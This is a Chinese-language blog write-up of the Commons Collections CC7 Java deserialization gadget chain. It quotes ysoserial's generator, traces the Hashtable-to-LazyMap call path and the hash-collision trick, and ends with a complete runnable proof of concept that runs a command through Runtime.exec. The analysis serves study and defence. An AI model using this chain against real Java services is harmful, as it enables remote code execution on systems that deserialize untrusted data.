JAVA反序列化之CommonCollections7利用链

JAVA反序列化之CommonCollections7利用链

Gat1ta 1,526 2022-08-16

好久没有分析CC链了,今天来把最后一个CC7分析一下。
首先看一下yso代码:

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }

之前说过CC链都是从任意类到Transform的调用过程,CC7也不例外,所以只要知道入口点然后一步一步向下跟就可以了。
可以看到最后返回的对象是一个hashtable,说明hashtable是反序列化入口点。为了更好的理解调用过程,先来了解一下hashtable。

什么是哈希表

散列表(Hash table,也叫哈希表),是根据关键 码值(Key value)而直接进行访问的数据结构。也
就是说,它通过把关键码值映射到表中一个位置来 访问记录,以加快查找的速度。这个映射函数叫做 散列函数,存放记录的数组叫做散列表。
哈希表是由数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。
image-1660268667044

入口

了解了哈希表之后接下来我们看一下入口代码:
这里只贴了关键代码

        int elements = s.readInt();
        table = new Entry<?,?>[length];
        count = 0;
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }

首先创建一个Entry,这是上文讲到的哈希表中的那个数组。
然后进入for循环读取key,value,然后调用reconstitutionPut方法。

HashTable.reconstitutionPut

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

可以看到首先通过key计算一个hash值,用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。
然后判断Entry当前索引处是否有对象,如果有对象的话判断两个对象是否相等。如果不相等的话则通过当前key的hash,以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。
而我们的目标是需要让Entry数组当前索引处的对象哈希与将要挂入的对象哈希一直,这样就会调用e.key.equals从而进入我们的调用链。

控制哈希(重点)

回过头看一下yso的代码,hashtable中有两个LazyMap元素,而LazyMap中封装的是一个Hashmap,而Hashmap中是一个Entry<String,Integer>对象。
接下来我们跟一下计算hashcode的过程。

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

首先调用key.hashCode。 这里的key就是LazyMap对象。
但是LazyMap类没有实现hashCode方法,所以要看一下他的父类(AbstractMapDecorator类)的实现:

    public int hashCode() {
        return this.map.hashCode();
    }

可以看到AbstractMapDecorator类的hashCode调用了this.map.hashCode。 而this.map是一个hashmap对象,继续跟进hashmap对象:

hashmap没有实现hashcode方法,继续跟进父类AbstractMap.hashCode:

    public int hashCode() {
        int h = 0;
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext())
            h += i.next().hashCode();
        return h;
    }

可以看到首先通过entrySet().iterator();获取一个迭代器,然后通过迭代器循环调用元素的hashCode方法。


    transient Set<Map.Entry<K,V>> entrySet;

    public Set<Map.Entry<K,V>> entrySet() {
        Set<Map.Entry<K,V>> es;
        return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;
    }
    

entrySet()返回的是一个Set,这个Set的元素是Map.Entry<K,V>,Entry<K,V>是一个接口,这个接口在Hashmap中被Node类实现,继续看一下Node.HashCode方法:

        public final int hashCode() {
            return Objects.hashCode(key) ^ Objects.hashCode(value);
        }

Node.HashCode方法如上,可以看到调用了Objects.hashCode并将key,value当作参数传进去并且将他们的结果进行异或计算。

看一下Objects.hashcode:

    public static int hashCode(Object o) {
        return o != null ? o.hashCode() : 0;
    }

可以看到Objects.hashCode中只要参数不为null就调用参数的hashCode方法。

而当前hashmap中的key,value为<String,Integer>类型。 所以想要控制hash就要看一下String和int类型的hashcode方法了:
String.hashCode代码如下:

    public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

hash是一个类成员变量,代表该对象的hash值,默认为0。当第一次调用hashCode时该成员会被赋值,当以后在调用该方法时则直接返回hash变量。
而hash的计算方式就是将字符串除了最后一个字符其他的乘31后相加。

Integer.hashCode代码如下:

    public int hashCode() {
       return Integer.hashCode(value);
   }


   public static int hashCode(int value) {
       return value;
   }

很简单,直接返回自身。

到这里我们已经可以基本了解如何控制哈希了。
只要两个lazyMap中的Key.hashCode()^value.hashCode()保持一致即可,CC7链的做法是通过控制key,也就是String的hashcode,而Integer始终为1,这样只要String的hash一致那么最终的 lazyMap.hash就一致。
但是更简单的办法是通过Integer来控制最终的hash,因为Integer.hashCode直接返回自身,所以与其控制String的hash不如直接控制Integer来的更方便。只要让Integer的hash与key.hashCode保持一致,那么进行异或运算后最终结果就是0,这样我们可以随意设置key的值,比如这样:

       Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
       lazyMap1.put((short)12, 12);
       Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
       lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

AbstractMapDecorator.equals

控制哈希相等后,就会进入LazyMap.equals方法,因为LazyMap没有实现equals方法所以调用了AbstractMapDecorator.equals方法,代码如下:

    public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);
    }

AbstractMap.equals

可以看到AbstractMapDecorator.equals调用了this.map.equals,而当前的map是hashMap。因为hashMap没有实现equals方法所以调用父类(AbstractMap)的equals方法,代码如下:

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
    

从代码中可以看出,首先判断参数是否是一个Map实例,如果不是则代表不相等返回false;然后判断Map的size是否一致,如果否则代表不相等返回false。
经过上面的判断后可以证明参数是一个Map并且长度一致,接下来就获取一个迭代器循环判断每个元素是否相等。
首先获取自身的key和value,然后判断自身的value是否为空,如果不为空则判断和目标参数value是否一致。判断value的时候就调用了LazyMap.get来获取value。这时候将触发我们的调用链。

LazyMap.get

从上面代码可以看到,在equals方法最后调用了LazyMap.get方法,代码如下:

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

这时候我们要控制代码执行if语句块中的代码,所以this.map.containsKey一定要为false。所以两个lazyMap中put的key不能一样。

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put((short)12, 12);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

ChainedTransformer.transform

接下来就进入了this.factory.transform(key)这个调用,而factory就是我们精心构造的命令执行的调用链。
这个调用链在每个CC链中都有用到,这里就不展开了。

最终POC

最后贴一下本地测试demo

public class demo1 {
    public static void main(String[] args) throws Exception{
        String command = "calc";
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put((short)12, 12);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove((short)12);

        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashtable);

        ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();


    }
    public static void setFieldValue(Object ob,String field,Object value) {
        Field fd = null;
        try{
            fd = ob.getClass().getDeclaredField(field);
            fd.setAccessible(true);
        }
        catch (Exception e)
        {
            try {
                fd = ob.getClass().getField(field);
            }catch (Exception es){
                System.out.println(es);
            }
        }
        try {
            fd.set(ob,value);
        }catch (Exception exc){
            System.out.println(exc);
        }

    }
}

调用链

HashTable.readObject
HashTable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform

总结

总体来说这条链还是比较简单的,从LazyMap类到Transformer的链之前已经遇见好多次了。唯一不同的就是hashTable控制哈希这里,不过感觉还是相对简单的。